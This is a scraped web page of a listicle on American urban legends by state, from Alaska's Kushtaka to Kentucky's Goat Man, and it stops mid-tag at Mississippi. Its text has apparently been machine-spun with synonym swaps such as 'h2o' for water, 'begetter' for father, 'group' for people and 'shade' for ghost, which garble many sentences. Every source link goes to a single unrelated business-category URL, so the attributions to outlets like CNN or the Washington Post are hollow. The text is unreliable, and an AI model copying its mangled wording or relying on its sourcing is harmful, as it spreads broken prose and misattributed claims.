src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5a4d575a1cbadd171e8b45cf&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:2679,&quot;aspectRatioH&quot;:2009}}' alt="Alaska"> </p></div> <span> <figcaption e-name="image-caption"> <span>Alaska's coastline is complete 33,000 miles long.</span> <span> <span e-name="image-source" itemprop="creditText">David McNew/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>Everyone knows the narrative of the Bermuda Triangle, but you power not cognize concerning the Alaskan Triangle.</p><p>On average, five out of all 1,000 group go missing in Alaska, the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Los Angeles Times</a> reported in 2005, so equal if there's nothing supernatural going on, it's uncomplicated to get misplaced in the Alaskan wilderness.</p><p>The Tlingit tribe, who lives in Juneau, has their own clarification for the elevated figure of missing people: evil spirits called the Kushtaka.</p><p>According to books specified as "In Search of the Kushtaka: Alaska's Other Bigfoot," the Kushtaka are shape-shifters (half-man, half-otter) who lure women and children to the h2o alongside counterfeit cries in command to pilfer their individual spirits and drown them.</p> </div> </div> <div> <h2>ARIZONA: The ghosts of Slaughterhouse Canyon</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40153242f43f001ddfe669&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2878,&quot;aspectRatioH&quot;:2159}}' alt="oak creek canyon"> </p></div> <span> <figcaption e-name="image-caption"> <span>There are plentifulness of canyons in Arizona.</span> <span> <span e-name="image-source" itemprop="creditText">Slim Aarons/Hulton Archive/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The narrative of Slaughterhouse Canyon (not pictured), additionally called the less-frightening Luana's Canyon, takes location during the Gold Rush, according to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The Miner.</a></p><p>During the 1800s, there was a family who lived in the canyon. They were extremely poor, so the begetter would project out for food for his family.</p><p>One day, the begetter did not return, so his family gradually starved and descended into madness. The mother, unable to withstand listening to her children's cries anymore, put on her wedding dress, murdered her children, and afterward threw them into a nearby river. The next day, she succumbed to starvation herself.</p><p>The fable states that if you go downward to Slaughterhouse Canyon at night, equal now, you volition comprehend the loud, anguished cries of the mother who misplaced her mind.</p> </div> </div> <div> <h2>ARKANSAS: The Boggy Creek Monster</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f4015d142f43f001ddfe679&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1422,&quot;aspectRatioH&quot;:1066}}' alt="bigfoot"> </p></div> <span> <figcaption e-name="image-caption"> <span>Caution.</span> <span> <span e-name="image-source" itemprop="creditText">CineBlade/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>According to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Atlas Obscura</a>, the Boggy Creek Monster of Fouke is Arkansas' type of Sasquatch. He's commonly accepted to be about 7 or 8 feet lofty and covered in hair. Legend says that he roams the creeks of agrarian Arkansas.</p><p>He was archetypal spotted in 1834 whenever group reported seeing a "wild man."</p><p>These days, following group assertion to place the Boggy Creek Monster, the sightings are documented on the authoritative <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Boggy Creek Monster's website</a>.</p><p>He has been the topic of at smallest five feature-length films, including 1972's "The Legend of Boggy Creek."</p> </div> </div> <div> <h2>CALIFORNIA: The Char-Man</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/65427b4636d588dc55c80ef0&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:910,&quot;aspectRatioH&quot;:683}}' alt="california timber fire"> </p></div> <span> <figcaption e-name="image-caption"> <span>The Char-Man calls Ojai his home.</span> <span> <span e-name="image-source" itemprop="creditText">David McNew/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The Char-Man's base story, told in the diary <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">"Western Folklore,"</a> is gruesome: A begetter and son were the two caught in a home blaze and horribly burned in 1948.</p><p>After the fire, the son became so mentally unstable that he killed his father. When the constabulary established the son, he was so unrecognizably burned that they didn't acknowledge he was alive, so he ran distant before they were capable to apprehension him for the murder of his father.</p><p>The narrative goes that, always since then, the Char-Man can be spotted wandering the woods surrounding Ojai, occasionally approaching tents of guiltless campers or pretending to be a hitchhiker and attempting to assault them.</p> </div> </div> <div> <h2>CONNECTICUT: Hannah Cranna</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40173789aff80028ab741a&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2574,&quot;aspectRatioH&quot;:1930}}' alt="creepy graveyard"> </p></div> <span> <figcaption e-name="image-caption"> <span>You can sojourn Hannah Cranna's genuine grave.</span> <span> <span e-name="image-source" itemprop="creditText">Hulton Archive/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>Known as the "Wicked Witch of Monroe," per <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">CT Insider</a>, Hannah Cranna gained a position as a witch in the 19th hundred years whenever her hubby died by mysteriously falling off a cliff &mdash; and locals reportedly believed that she had bewitched him. People additionally believed that she would&nbsp;cast spells&nbsp;on group she didn't like.</p><p>Hannah lived to the age of 77, but correct before she died, she asked to be carried downward to the cemetery in her coffin on foot, not by wagon. After her death, the group of Monroe tried to rotor her coffin downward the elevation but were unable &mdash; the coffin kept falling off &mdash; so they were forced to transport it.</p><p>When the townspeople returned to her home, it was established to be engulfed in flames, sealing Hannah's position for practicing witchcraft.</p><p>Now, you can sojourn her genuine grave in Trumbull.</p> </div> </div> <div> <h2>DELAWARE: The shade of Mr. Chew</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f4017e742f43f001ddfe68e&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1200,&quot;aspectRatioH&quot;:900}}' alt="delaware courthouse"> </p></div> <span> <figcaption e-name="image-caption"> <span>The residence of Mr. Chew in Dover.</span> <span> <span e-name="image-source" itemprop="creditText">Rosemarie Mosteller/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>While not a particularly mean-spirited ghost, Samuel Chew's story, as told in <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">"Haunted Delaware,"</a> is motionless disconcerting.</p><p>Chew was the chief fairness of the Delaware Supreme Court in 1741. As the narrative goes, during he was alive, he didn't continually get the regard he deserved &mdash; group frequently made fun of his name by mimicking sneezes during he walked by.</p><p>After his death, group reported seeing his shade sitting under a poplar tree, wandering the courthouse, and mostly creeping out the residents of Dover. Chew would additionally drag on men's coattails and provision women a cold, icy feeling.</p> </div> </div> <div> <h2>FLORIDA: The gravity-defying Spook Hill</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40183a42f43f001ddfe693&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1422,&quot;aspectRatioH&quot;:1066}}' alt="spook hilll"> </p></div> <span> <figcaption e-name="image-caption"> <span>A sign telling the narrative of the famous attraction.</span> <span> <span e-name="image-source" itemprop="creditText">Inspired By Maps/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>Cars that are parked in neutral at Spook Hill volition appear to rotate uphill, according to&nbsp;Atlas Obscura.</p><p>Legends say the elevation is either the location of a Native American interment dirt or an epic battle of a Native American chief against a crocodile.</p><p>But the fact is, it's really fair an illusion created by the hill's surroundings. While cars appear to be rolling uphill, they are motionless fair rolling downhill.</p> </div> </div> <div> <h2>GEORGIA: The shade town of Lake Lanier</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f4018c842f43f001ddfe69f&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1869,&quot;aspectRatioH&quot;:1402}}' alt="lake lanier georgia"> </p></div> <span> <figcaption e-name="image-caption"> <span>Lake Lanier is the largest man-made lake in Georgia.</span> <span> <span e-name="image-source" itemprop="creditText">RodClementPhotography/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>At the base of Lake Lanier lie (almost) completely intact towns, ferries, a racetrack, and multiple cemeteries.</p><p>In 1946, the Georgia authorities received legislative endorsement to create Lake Lanier, and it bought up complete towns to apparent the area for the lake. However, it decided to let the h2o shield the towns fairly than demolish them.</p><p>Now, Lake Lanier has a certainly eerie awareness concerning it. There have been an different figure of freak accidents and deaths on the lake. From 1994 to 2020, there were 203 drownings, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">CNN</a> reported.</p><p>Many of the bodies of group who drowned have never been recovered. People have reported emotion arms and legs in the water, wrote CNN, but have not been capable to discover them correct after, foremost group to accept that spirits motionless roam the lake.</p> </div> </div> <div> <h2>HAWAII: Night Marchers</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d7ffe1a6f24eb4ba2099745&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:2449,&quot;aspectRatioH&quot;:1837}}' alt="christmas bonfire louisiana"> </p></div> <span> <figcaption e-name="image-caption"> <span>You cognize a night march is coming whenever you see the torches and comprehend the drums.</span> <span> <span e-name="image-source" itemprop="creditText">Ethan Miller/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>Night Marchers, according to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Honolulu Magazine</a>, are not evil spirits, but they do petition respect. They are spirits of ancient Hawaiian warriors who marched about the islands to defend holy areas.</p><p>Legend says that if you appearance immediately at a night marcher, you volition be marked for death. And, if by several chance, you discover yourself in the center of a procession, you are expected to lie downward in the center of the road.</p> </div> </div> <div> <h2>IDAHO: The h2o babies of Massacre Rocks</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40194b89aff80028ab7434&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2180,&quot;aspectRatioH&quot;:1635}}' alt="massacre rocks"> </p></div> <span> <figcaption e-name="image-caption"> <span>The h2o babies can be established in Massacre Rocks State Park.</span> <span> <span e-name="image-source" itemprop="creditText">Zack Frank/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>Water babies are a Native American fable established in multiple places in America, most famously in Pocatello at Massacre Rocks State Park.</p><p>The Shoshone tribe was archetypal recorded in 1805, according to the Encyclopedia of the Great Plains, and was roaming the Great Plains as first as the 1500s, so it's not apparent whenever exactly this fable originated.</p><p>But the narrative goes that the Shoshone informed an extreme famine, and mothers were forced to drown their babies in the stream fairly than observe their children starve.</p><p>Today, several group assertion that if you sit quietly at the stream by Massacre Rocks, you'll comprehend the audio of babies crying.</p><p>Other stories say that these babies grew gills and fins and survived, and now they search retaliation on their mothers by luring unsuspecting victims to their deaths in the river.</p> </div> </div> <div> <h2>ILLINOIS: Homey the Clown</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d7ffe876f24eb4bc4297233&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:3177,&quot;aspectRatioH&quot;:2383}}' alt="bozo the clown"> </p></div> <span> <figcaption e-name="image-caption"> <span>Clowns are undoubtedly creepy.</span> <span> <span e-name="image-source" itemprop="creditText">Hulton Archive/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>Throughout the suburbs of Chicago in the '90s, there was a rumor going about basic schools: There was a creepy man dressed as Homey the Clown (yes, from "In Living Color"), driving about in a pale van trying to lure kids into it alongside candy and money, as reported by the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Chicago Reader</a> and <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The Chicago Tribune.</a></p><p>In several variations, he was a kidnapper; in others, he was a rapist. But in all variations, Homey remaining a grade on young Chicago kids in the '90s.</p> </div> </div> <div> <h2>INDIANA: The 100 Steps Cemetery</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5a4e5ddd3639201a008b4580&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:1067,&quot;aspectRatioH&quot;:800}}' alt="Cemetery night"> </p></div> <span> <figcaption e-name="image-caption"> <span>The cemetery is located in Brazil, Indiana.</span> <span> <span e-name="image-source" itemprop="creditText"> <a href="https://en.mycoding.id/category/business" target="_blank" rel="nofollow"> Thomas Zsebok/Shutterstock </a> </span> </span> </figcaption> </span></figure> <div> <p>The 100 Steps Cemetery is located in Brazil. While it's unclear whenever the stories concerning the cemetery being haunted began, several gravestones date rear to the 1860s.</p><p>The fable states that if person finds themselves in the cemetery at midnight, they must ascend the steps and figure to 100. At this point, a shade of an undertaker volition appear and display the individual a imagination of their death.</p><p>On the way rear down, the visitant is expected to figure the steps&nbsp;<em>again &mdash;&nbsp;</em>if they figure the identical figure of steps, the imagination is false.</p><p>People who have visited the cemetery in the former have tried to outsmart the supernatural forces in 100 Steps by avoiding the steps altogether. According to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Indiana Ghost Detectives,</a> they've reported being knocked or shoved to the dirt by an unseen force.</p> </div> </div> <div> <h2>IOWA: The Black Angel</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f401a3089aff80028ab7439&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1000,&quot;aspectRatioH&quot;:750}}' alt="black angel iowa city"> </p></div> <span> <figcaption e-name="image-caption"> <span>She's located in Oakland Cemetery.</span> <span> <span e-name="image-source" itemprop="creditText">IN Dancing Light/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The Black Angel stands complete 8 feet lofty in Oakland Cemetery in Iowa City, and she is dreary because of oxidation. According to Atlas Obscura, multiple legends have cropped up about her, most apt since of her dreary appearance.</p><p>One fable says that a&nbsp;pregnant female should never stroll under her, or she'll endure the child. Others say that if you contact or buss the statue, you'll be deceased inside six months.</p><p>Whether haunted, cursed, or entirely harmless, the statue is certainly a somber perspective to see.</p> </div> </div> <div> <h2>KANSAS: The Devil's Chair</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5babca251f933e0ab43fe563&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:1000,&quot;aspectRatioH&quot;:750}}' alt="cemetery"> </p></div> <span> <figcaption e-name="image-caption"> <span>The place is located in Alma Cemetery.</span> <span> <span e-name="image-source" itemprop="creditText">sonnee101/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The fable of the Devil's Chair goes akin this: An old farmer in Alma refused to market his district to the city in command to build a new cemetery. Someone got a small too tired of waiting for him to sell, so he was pushed into his own well.</p><p>Eventually, person stated that there was a awful odor coming from the well, so the city sent person to investigate. The fine was ruled empty, and it was boarded up.</p><p>Now, if you create your way to Alma, you can really sit on the boarded-up well, but fable says that group who have sat on the fine have been known to mysteriously disappear.</p> </div> </div> <div> <h2>KENTUCKY: The Goat Man of Pope Lick</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f401df642f43f001ddfe6c8&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:3721,&quot;aspectRatioH&quot;:2790}}' alt="pope defeat bridge"> </p></div> <span> <figcaption e-name="image-caption"> <span>He's been spotted underneath this trestle.</span> <span> <span e-name="image-source" itemprop="creditText">Michele Korfhage/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>There's no apparent agreement on how the Goat Man came to be. Some say he was a circus performer; others say he was a farmer who tortured his goats for Satan and, in return, was transformed into a hideous goat monster.</p><p>However, everyone does concur on his appearance: dreary fur, faint skin, goat legs, and horns, reported <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Wave3</a>, a local news outlet.</p><p>The monster is stated to conceal under the extend at Pope Lick Creek in Louisville to lure group onto the train tracks, lone to see them be hit by oncoming trains.</p><p>Sadly, involvement in this municipal fable has had several hazardous consequences. In 2016, an Ohio female cut to her death from the extend during looking for the Goat Man, reported <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The Washington Post.</a></p> </div> </div> <div> <h2>LOUISIANA: The Grunch</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5f43e09889aff80028ab77c0&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:3554,&quot;aspectRatioH&quot;:2666}}' alt="swamp"> </p></div> <span> <figcaption e-name="image-caption"> <span>The Grunch create their residence in East New Orleans.</span> <span> <span e-name="image-source" itemprop="creditText"> <a href="https://en.mycoding.id/category/business" target="_blank" rel="nofollow"> AP Photo/Beth J. Harpaz </a> </span> </span> </figcaption> </span></figure> <div> <p>Grunch Road is an old dirt highway that leads profound into the woods and eventually to a deceased end.</p><p>It was a favorite location for teenagers to go and do any teenagers do until they learned concerning the Grunch.</p><p>The Grunch <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">are rumored to be</a> a collection of deformed, half-human, half-monsters that resulted from years of isolation in the Louisiana Bayous.</p><p>In the current day, it's stated that if you discover yourself on Grunch Road, don't get out of your car if you see a goat that looks injured. The stories say that the Grunch uses goats to lure group out of their cars so they can eat them and drain their blood.</p> </div> </div> <div> <h2>MAINE: The mysterious stain on Colonel Jonathan Buck's tomb</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40273042f43f001ddfe6ff&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:946,&quot;aspectRatioH&quot;:710}}' alt="bucksport maine"> </p></div> <span> <figcaption e-name="image-caption"> <span>Buck's tomb is in the town direction his name: Bucksport.</span> <span> <span e-name="image-source" itemprop="creditText">ESB Essentials/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The tomb of Colonel Jonathan Buck in Bucksport bears a mysterious leg-shaped stain.</p><p>The narrative goes that Buck sentenced a female to scorch for witchcraft, and during she was burning, her leg rolled out of the fire. It's additionally been stated that the witch cursed Buck's tomb to continually withstand a stain for this injustice, the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Bangor Daily News</a> reported.</p><p>It is stated that group have tried to get rid of this stain twice, but the stain keeps reappearing.</p> </div> </div> <div> <h2>MARYLAND: Chessie the Chesapeake Bay monster</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5a4e73bb4931461c008b4573&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:5333,&quot;aspectRatioH&quot;:4000}}' alt="chesapeak bay"> </p></div> <span> <figcaption e-name="image-caption"> <span>Does a sea monster really live in the Chesapeake Bay?</span> <span> <span e-name="image-source" itemprop="creditText">Jon Bilous/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>Chessie sightings have been about since the 1930s but really started to choice up steam in the '80s whenever photographic evidence became additional readily available,&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>WBAL-TV</a> reported.</p><p>Chessie is stated to resemble a snake, measures about 30 feet long, and is the approximate thickness of a phone pole.</p><p>There haven't been any recorded attacks from Chessie, but a 30-foot-long snake does not audio akin item most group would desire to run into.</p> </div> </div> <div> <h2>MASSACHUSETTS: The spirits of Hoosac Tunnel</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40279289aff80028ab74a6&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1314,&quot;aspectRatioH&quot;:986}}' alt="hoosac tunnel"> </p></div> <span> <figcaption e-name="image-caption"> <span>The tunnel took 24 years to complete.</span> <span> <span e-name="image-source" itemprop="creditText">Morphart Creation/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>In the 24-year-long building of the Hoosac Tunnel in occidental Massachusetts, concerning 200 men died. Death was so connected alongside the tunnel that it was really nicknamed "The Bloody Pit," according to Atlas Obscura.</p><p>After a particularly gruesome detonation in either 1867 or 1868, 13 miners were trapped inner the tunnel. The another workers assumed that the miners had died, but eventually, it was discovered that the miners had lived, built a raft to combat flooding, and eventually died because of poisonous gas inhalation.</p><p>It's stated that these 13 miners haunted the tunnel for years, moaning and briefly appearing as ghosts.</p> </div> </div> <div> <h2>MICHIGAN: The small female on Knock Knock Road</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5a4f99ac493146a30d8b4577&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:3797,&quot;aspectRatioH&quot;:2848}}' alt="dark road"> </p></div> <span> <figcaption e-name="image-caption"> <span>The road's genuine name is Strasburg Road, located in Grosse Ile.</span> <span> <span e-name="image-source" itemprop="creditText">Ilkin Zeferli/Shutterstock</span> </span> </figcaption> </span></figure> <p>The fable of Knock Knock Road, as reported by <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">99.1 WMFK</a>, says that there was a small female who was murdered on Knock Knock Road in the Detroit area, and now she appears to drivers at their car window, knocking, trying to discover the individual who killed her.</p> </div> <div> <h2>MINNESOTA: The Kensington runestone</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40280589aff80028ab74ac&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1000,&quot;aspectRatioH&quot;:750}}' alt="kensington rune"> </p></div> <span> <figcaption e-name="image-caption"> <span>The rock is displayed in Alexandria, Minnesota.</span> <span> <span e-name="image-source" itemprop="creditText">James Kirkikis/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>In 1898, a Swedish-American farmer established a gigantic slab of rock on his ranch alongside symbols that appeared to be Norse. Since then, no one has figured out anywhere it came from.</p><p>While most historians have debunked the rock&nbsp; &mdash; now known as the Kensington Rune, according to Atlas Obscura &mdash; as a hoax, because of courtship and inconsistencies alongside the Norse tongue of the time, the myth has persisted.</p><p>But if it wasn't the Vikings, who did depart this mysterious rock? And what does it say?</p> </div> </div> <div> <h2>MISSISSIPPI: Deer Island's haunted treasure</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" 